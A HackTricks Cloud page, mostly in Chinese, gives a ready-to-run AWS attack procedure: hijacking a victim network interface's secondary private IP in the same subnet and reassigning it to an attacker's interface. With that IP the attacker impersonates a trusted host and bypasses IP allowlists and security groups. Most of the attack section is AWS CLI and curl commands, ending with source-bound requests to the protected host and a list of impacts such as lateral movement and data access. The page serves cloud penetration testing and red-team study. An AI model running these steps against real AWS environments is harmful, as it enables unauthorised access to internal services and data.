AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
滥用 ec2:UnassignPrivateIpAddresses 和 ec2:AssignPrivateIpAddresses 来窃取受害者 ENI 的 secondary private IP,并将其在相同 subnet/AZ 中移动到攻击者 ENI。许多内部服务和 security groups 通过特定的 private IPs 控制访问。通过移动该 secondary 地址,攻击者在 L3 冒充被信任的主机,从而可以访问被 allowlisted 的服务。
Prereqs:
- Permissions:
ec2:DescribeNetworkInterfaces,ec2:UnassignPrivateIpAddresseson the victim ENI ARN, andec2:AssignPrivateIpAddresseson the attacker ENI ARN. - Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
Variables:
- REGION=us-east-1
- VICTIM_ENI=
- ATTACKER_ENI=
- PROTECTED_SG=
# SG on a target service that allows only $HIJACK_IP - PROTECTED_HOST=
Steps:
- Pick a secondary IP from the victim ENI
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
- 确保受保护的主机只允许该 IP (幂等)。如果使用 SG-to-SG 规则,则跳过。
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
- 基线:从 attacker instance 发起到 PROTECTED_HOST 的请求在没有伪造源(例如通过 SSM/SSH)时应该会失败
curl -sS --max-time 3 http://$PROTECTED_HOST || true
- 从受害者 ENI 上取消分配 secondary IP
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- 将相同的 IP 分配给 attacker ENI (在 AWS CLI v1 上添加
--allow-reassignment)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- 验证所有权已转移
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
- 从攻击者实例上,使用 source-bind 绑定到被劫持的 IP 以访问受保护的主机(确保该 IP 已在操作系统上配置;如果没有,用
ip addr add $HIJACK_IP/<mask> dev eth0添加)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
影响
- 通过在同一 subnet/AZ 的 ENIs 之间移动 secondary private IPs,绕过 IP allowlists 并冒充 VPC 内的受信任主机。
- 访问那些通过特定 source IPs 进行访问控制的内部服务,从而实现横向移动并获取数据访问。
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

